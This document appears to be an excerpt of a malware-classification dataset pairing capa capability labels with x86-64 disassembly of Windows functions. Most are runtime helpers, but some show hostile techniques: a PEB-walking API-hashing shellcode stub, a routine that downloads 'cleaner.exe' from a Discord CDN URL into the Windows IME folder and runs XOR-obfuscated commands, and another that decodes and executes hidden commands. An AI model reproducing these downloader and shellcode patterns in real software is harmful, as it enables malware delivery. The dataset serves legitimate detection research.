joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001ae80
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140020fd0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140020fd0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14001aef0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140044bb4]
mov rbx, rcx
test esi, esi
jle 0x14001b020
mov rax, qword [0x140044bb8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001af3b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14001afc5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14001af20
mov rcx, rbx
call fcn.14001b940
mov rdi, rax
test rax, rax
je 0x14001b042
mov rax, qword [0x140044bb8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14001ba80
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140044bb8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14001b027
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001afbe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14001afd0
add dword [0x140044bb4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140044bb8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001afbe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14001ae80
nop dword [rax]
xor esi, esi
jmp 0x14001af48
mov rax, qword [0x140044bb8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14001ae80
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14001ae80
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14001b5b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140044c20]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140044c00]
test rbx, rbx
je 0x14001b60c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14001b603
test rsi, rsi
je 0x14001b603
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14001b5e8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14001b940
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14003f7a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14001b960
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14001b968
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14001b960
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14001b9bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14001b9b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14001b960
add rax, 0x28
cmp rax, r9
jne 0x14001b9a0
xor eax, eax
ret

Function at 0x14001b9c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14003f7a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001b9df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14001b9e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001b9df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14001ba80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14003f7a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14001ba9f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14001baa8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x14001bd50
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [0x140044ca0], 0xffffffff
mov r8d, 0xffff
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov qword [0x140044ca8], rax
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x14001bda0
lea rdx, [0x14001bc60]
mov ecx, eax
mov dword [0x140044c98], eax
call fcn.140021710
test eax, eax
jne 0x14001bda8
add rsp, 0x28
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14001bd97
call sub.msvcrt.dll_abort
nop
nop
Function at 0x14001bdb0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x14003f710]
mov r11d, dword [rsi]
mov rbx, rcx
test r11d, r11d
jne 0x14001bde8
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x14001be50
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r12, qword [rcx + 0x10]
test r12, r12
je 0x14001be60
mov esi, dword [0x140044c98]
mov r13, qword [sym.imp.KERNEL32.dll_GetLastError]
call r13
mov edi, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rsi, rsi
je 0x14001bed0
mov rbp, qword [rsi]
cmp rbp, r12
jb 0x14001bf18
sub r12, 1
mov rax, qword [rsi + r12*8 + 8]
test rax, rax
jne 0x14001bdd7
mov rcx, rbx
call fcn.14001bcb0
mov qword [rsi + r12*8 + 8], rax
jmp 0x14001bdd7
call fcn.14001bcb0
mov qword [rbx + 0x10], rax
jmp 0x14001bdd7
mov r10d, dword [rsi]
test r10d, r10d
je 0x14001bf7a
mov r9d, dword [0x140022680]
test r9d, r9d
je 0x14001bfa8
lock add dword [0x140044ca0], 1
jne 0x14001bfdc
mov r12, qword [rbx + 0x10]
test r12, r12
je 0x14001bf87
mov eax, dword [rsi]
test eax, eax
je 0x14001bdf1
lock sub dword [0x140044ca0], 1
js 0x14001bdf1
mov rcx, qword [0x140044ca8]
xor r8d, r8d
mov edx, 1
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
jmp 0x14001bdf1
lea rcx, [r12 + 0x21]
mov edx, 8
lea rdi, [r12 + 0x20]
call sub.msvcrt.dll_calloc
mov rsi, rax
test rax, rax
je 0x14001c003
mov qword [rax], rdi
mov ecx, dword [0x140044c98]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x14001be2b
call r13
jmp 0x14001be2b
lea rdi, [rbp + rbp]
lea rax, [r12 + 0x20]
mov rcx, rsi
cmp rdi, r12
cmovb rdi, rax
lea rdx, [rdi*8 + 8]
call sub.msvcrt.dll_realloc
mov rsi, rax
test rax, rax
je 0x14001c003
mov qword [rax], rdi
sub rdi, rbp
lea rcx, [rax + rbp*8 + 8]
xor edx, edx
lea r8, [rdi*8]
call sub.msvcrt.dll_memset
jmp 0x14001bef3
call fcn.14001bd50
mov dword [0x140022680], 1
mov edx, dword [rsi]
test edx, edx
jne 0x14001be7c
mov r12, qword [rbx + 0x10]
test r12, r12
jne 0x14001bdf1
mov rax, qword [0x140044c90]
lea r12, [rax + 1]
mov qword [0x140044c90], r12
mov qword [rbx + 0x10], r12
jmp 0x14001be97
lock add dword [0x140022684], 1
je 0x14001bf61
mov r8d, dword [0x140022680]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
lea rdi, [0x140022680]
test r8d, r8d
jne 0x14001bf70
nop dword [rax]
xor ecx, ecx
call rbp
mov ecx, dword [rdi]
test ecx, ecx
je 0x14001bfd0
jmp 0x14001bf70
mov rcx, qword [0x140044ca8]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14001be8a
lock sub dword [0x140044ca0], 1
jmp 0x14001be8a
call sub.msvcrt.dll_abort
nop
nop dword [rax]
cmp qword [rcx], rdx
jae 0x14001c020
mov qword [rcx], rdx
mov qword [rcx + 0x18], 0
cmp qword [rcx + 8], r8
jae 0x14001c02a
mov qword [rcx + 8], r8
test r9, r9
je 0x14001c034
cmp qword [rcx], rdx
je 0x14001c038
ret
mov qword [rcx + 0x18], r9
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
push rcx
mov rdx, qword [rdx + 0x18]
push rsi
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x1400027f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rdi
cmp dword [0x14002b794], 0
lea rdi, [0x14002b790]
mov r11d, r8d
mov r9d, edx
mov r10, rcx
jne 0x1400028c8
mov qword [rsp + 0x10], rbx
xor edx, edx
mov rbx, rdi
nop dword [rax]
mov r8d, edx
lea rbx, [rbx + 4]
and r8d, 1
mov eax, edx
shr eax, 1
neg r8d
and r8d, 0xedb88320
inc edx
xor r8d, eax
mov eax, r8d
shr r8d, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, r8d
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov dword [rbx - 4], eax
cmp edx, 0x100
jb 0x140002820
mov rbx, qword [rsp + 0x10]
not r11d
mov eax, r11d
test r9d, r9d
jle 0x1400028fe
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r10]
lea r10, [r10 + 1]
movzx edx, al
xor rdx, rcx
shr eax, 8
xor eax, dword [rdi + rdx*4]
sub r9d, 1
jne 0x1400028e0
not eax
pop rdi
ret
movzx r9d, byte [r10]
lea r8, [r10 + 1]
test r9b, r9b
je 0x14000293f
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x140002923
cmp byte [r8], r9b
jne 0x140002923
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rdi + rdx*4]
test r9b, r9b
jne 0x140002910
not eax
pop rdi
ret
Function at 0x140014560
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
push rbp
push r12
push r14
sub rsp, 0xb0
xor eax, eax
movsxd r12, r9d
mov dword [rsp + 0xe8], eax
mov r14, rdx
mov qword [rsp + 0x60], r12
mov rbp, rcx
test r9d, r9d
jle 0x1400147ae
mov qword [r11 + 8], rbx
lea rbx, [r8 + 0x20]
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 - 0x20], r13
xor r13d, r13d
mov qword [r11 - 0x28], r15
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
xorps xmm7, xmm7
movaps xmmword [r11 - 0x58], xmm8
mov r11d, 0x100
movss xmm8, dword [0x1400263c0]
nop dword [rax + rax]
movss xmm6, dword [rbx - 0x20]
comiss xmm6, xmm7
jbe 0x14001461c
movsxd r10, dword [r14 + 0x24]
mov r9, qword [r14 + 8]
movsx ecx, r11w
movzx eax, byte [r10 + r9 + 7]
movzx edx, byte [r10 + r9 + 6]
imul edx, ecx
movsx ecx, r11w
add dx, ax
movzx eax, byte [r10 + r9 + 5]
movsx r8d, dx
movzx edx, byte [r10 + r9 + 4]
imul edx, ecx
add ax, dx
cwde
sub eax, r8d
movd xmm0, eax
jmp 0x14001463b
movsxd rdx, dword [r14 + 0x1c]
xorps xmm6, xmm8
mov rax, qword [r14 + 8]
movzx ecx, byte [rdx + rax + 0x12]
movzx eax, byte [rdx + rax + 0x13]
shl ecx, 8
add ecx, eax
movd xmm0, ecx
movzx eax, byte [rbp + 0x20]
xor edi, edi
cvtdq2ps xmm0, xmm0
mov byte [rbx], al
movzx eax, byte [rbp + 0x24]
mov byte [rbx + 1], al
divss xmm6, xmm0
cmp dword [rbx - 0x10], edi
jle 0x140014756
mov r15, qword [rsp + 0xf0]
mov rax, r13
mov r12d, dword [rsp + 0xe8]
add r15, 6
shl rax, 4
xor esi, esi
add r15, rax
nop word [rax + rax]
mov rax, qword [rbx - 0x18]
test rax, rax
jne 0x140014690
mov edx, dword [rbx - 0x1c]
add edx, edi
jmp 0x140014693
mov edx, dword [rax + rsi]
mov rcx, r14
call fcn.14000f400
mov edx, eax
xorps xmm3, xmm3
mov eax, dword [rbp + 0x24]
xorps xmm2, xmm2
mov rcx, r14
cvtsi2ss xmm3, rax
mov eax, dword [rbp + 0x20]
cvtsi2ss xmm2, rax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
movss dword [rsp + 0x28], xmm7
mulss xmm3, xmm6
mulss xmm2, xmm6
movss dword [rsp + 0x20], xmm7
call fcn.140011ed0
movzx eax, word [rbp + 0x20]
inc r12d
sub ax, word [rsp + 0x50]
inc r13
dec ax
inc edi
add ax, word [rbp + 0x1c]
add rsi, 4
add ax, word [rsp + 0x54]
mov word [r15 - 2], ax
movzx eax, word [rbp + 0x24]
sub ax, word [rsp + 0x58]
dec ax
add ax, word [rbp + 0x1c]
add ax, word [rsp + 0x5c]
mov word [r15], ax
add r15, 0x10
cmp edi, dword [rbx - 0x10]
jl 0x140014680
mov dword [rsp + 0xe8], r12d
mov r11d, 0x100
mov r12, qword [rsp + 0x60]
add rbx, 0x28
sub r12, 1
mov qword [rsp + 0x60], r12
jne 0x1400145d0
movaps xmm8, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
mov r15, qword [rsp + 0xa0]
mov r13, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xe0]
mov rsi, qword [rsp + 0xd8]
mov rbx, qword [rsp + 0xd0]
mov eax, dword [rsp + 0xe8]
add rsp, 0xb0
pop r14
pop r12
pop rbp
ret
Function at 0x14001d160
Capabilities:
Download url
Encode data using xor
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x14002b040]
xor rax, rsp
mov qword [rbp + 0x47], rax
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xor ebx, ebx
mov qword [rbp + 0x17], rbx
mov qword [rbp + 0x1f], 0xf
lea ecx, [rbx + 0x60]
call fcn.14001ea6c
mov qword [rbp + 7], rax
mov qword [rbp + 0x17], 0x58
mov qword [rbp + 0x1f], 0x5f
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_812106475106336769_813323501485686804_cleaner.exe]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140026120]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140026130]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140026140]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140026150]
movups xmmword [rax + 0x40], xmm0
movsd xmm0, qword [0x140026160]
movsd qword [rax + 0x50], xmm0
mov byte [rax + 0x58], bl
mov qword [rbp + 0x2f], rbx
lea ecx, [rbx + 0x20]
call fcn.14001ea6c
mov qword [rbp + 0x27], rax
mov qword [rbp + 0x37], 0x17
mov qword [rbp + 0x3f], 0x1f
movups xmm0, xmmword [str.C:WindowsIMEcleaner.exe]
movups xmmword [rax], xmm0
mov ecx, dword [0x140026180]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x140026184]
mov word [rax + 0x14], cx
movzx ecx, byte [0x140026186]
mov byte [rax + 0x16], cl
mov byte [rax + 0x17], bl
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 0xf
cmova rdx, qword [rbp + 7]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm0, xmmword [0x140026480]
movdqu xmmword [rbp - 0x19], xmm0
mov dword [rbp - 9], 0xc6caedea
mov dword [rbp - 5], 0xcbc3cdce
mov dword [rbp - 1], 0xcad49edd
mov word [rbp + 3], 0xd6
mov byte [rbp + 5], 1
mov eax, ebx
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x69]
xor byte [rbp + rax - 0x19], cl
inc rax
cmp rax, 0x1d
jb 0x14001d2a0
mov byte [rbp + 5], 0
lea rcx, [rbp - 0x19]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x11170
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x14001d307
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d302
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d302
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e9f4
mov qword [rbp + 0x37], rbx
mov qword [rbp + 0x3f], 0xf
mov byte [rbp + 0x27], 0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x14001d355
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d350
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d350
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e9f4
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14001e5e0
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rbp
ret
Function at 0x14001d7b0
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
movdqa xmm0, xmmword [0x1400263d0]
xor ebx, ebx
movdqa xmm1, xmmword [0x140026460]
mov ecx, ebx
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x10], 1
movdqa xmm0, xmmword [0x140026300]
movdqu xmmword [rbp - 0x20], xmm0
movdqu xmmword [rbp - 0x30], xmm1
nop dword [rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x2f
jb 0x14001d7f0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x10], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400263d0]
mov rcx, rbx
movdqa xmm1, xmmword [0x140026470]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x10], 0xa4f7e8a2
movdqa xmm0, xmmword [0x140026410]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0xc], 0xfceda0be
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 8], 0xe0f6f1
mov byte [rbp - 4], 1
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x3b
jb 0x14001d850
lea rcx, [rbp - 0x40]
mov byte [rbp - 4], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400263d0]
mov rcx, rbx
movdqa xmm1, xmmword [0x140026440]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x20], 0x848b98db
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x1c], 0x1008d9d
nop dword [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x26
jb 0x14001d8a0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x19], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400263d0]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400263e0]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x20], 0x9ad5cdd9
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x1c], 0x8f9b8289
mov word [rbp - 0x18], 0x100
nop
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x28
jb 0x14001d8f0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x17], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400263d0]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400263f0]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x20], 0x8b9f8685
movdqu xmmword [rbp - 0x30], xmm1
mov word [rbp - 0x1c], 0x100
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x24
jb 0x14001d940
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x1b], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400263d0]
movdqa xmm1, xmmword [0x140026400]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x20], 0x8b9f8685
movdqu xmmword [rbp - 0x30], xmm1
mov word [rbp - 0x1c], 0x100
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx - 0x69]
xor byte [rbp + rbx - 0x40], al
inc rbx
cmp rbx, 0x24
jb 0x14001d990
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x1b], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x70]
mov eax, 1
add rsp, 0x60
pop rbp
ret
Function at 0x14001f1e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001f22a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001f22a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001f22a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001f22a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001f22a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001f22c
xor al, al
add rsp, 0x28
ret
Function at 0x18000aed0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], r9
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
lea ebx, [rdx - 7]
mov rsi, r9
mov dword [rsp + 0x88], ebx
cmp edx, ebx
mov ebx, dword [rsp + 0x88]
mov r15, r8
mov r13d, edx
mov r14, rcx
jbe case.0x18000af45.20
mov rbp, qword [rsp + 0x38]
lea r12d, [rdx - 0xbf]
mov eax, dword [rsp + 0x88]
lea rdx, [0x180000000]
mov r8d, 0x64
nop
cmp r12d, 0x15
ja case.default.0x18000af45
mov ecx, dword [rdx + r12*4 + 0xb0c0]
add rcx, rdx
jmp rcx
mov rax, qword [r14]
lea r9, [rsp + 0x30]
shl rax, 2
lea r8, [rsp + 0x38]
xor edx, edx
mov qword [rsp + 0x30], rax
xor ecx, ecx
mov dword [rsp + 0x20], 0x5e
call fcn.18003a260
mov rdi, rax
test rax, rax
je 0x18000b0bb
mov ecx, 0xdc
nop
cmp ecx, 0xdc
je 0x18000b080
add ecx, 0x7ae4
cmp ecx, 0x7ae4
jbe 0x18000af80
lea rdx, [0x180000000]
mov r8d, 0x64
jmp case.0x18000af45.1
mov rax, qword [r14]
mov ebx, dword [rax]
jmp case.0x18000af45.1
cmp rbp, qword [rsi]
je case.0x18000af45.1
mov rdx, r14
lea rcx, [0x18008a8d0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputs]
jmp 0x18000af9a
test r15, r15
je 0x18000b0a0
mov rbp, qword [rsi]
cmp rbp, 0x64
cmova rbp, r8
xor edi, edi
test rbp, rbp
je case.0x18000af45.1
nop dword [rax]
movzx esi, byte [rdi + r15]
mov ecx, esi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isprint]
test eax, eax
je 0x18000b00e
mov rdx, r14
mov ecx, esi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
jmp 0x18000b020
mov r8d, esi
lea rdx, str.x_02X
mov rcx, r14
call fcn.180077230
inc rdi
cmp rdi, rbp
jb 0x18000aff0
mov rsi, qword [rsp + 0x98]
jmp 0x18000af9a
movzx eax, word [r15]
mov dword [r14 + 0x1c], eax
mov eax, dword [r14 + 0x18]
mov dword [r14 + 0x20], eax
jmp case.0x18000af45.1
cmp qword [r14], 0x3fffffff
ja 0x18000b0bb
mov eax, dword [rsp + 0x88]
dec r13d
dec r12d
cmp r13d, eax
ja 0x18000af30
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [r15]
test rcx, rcx
je 0x18000b08e
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rsp + 0x38]
mov qword [r15], rdi
mov qword [rsi], rax
mov eax, 1
jmp 0x18000b068
mov edx, 1
lea rcx, str.NULL
mov r9, r14
lea r8d, [rdx + 3]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp case.0x18000af45.20
xor eax, eax
jmp 0x18000b068

Function at 0x18000fae0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0x90
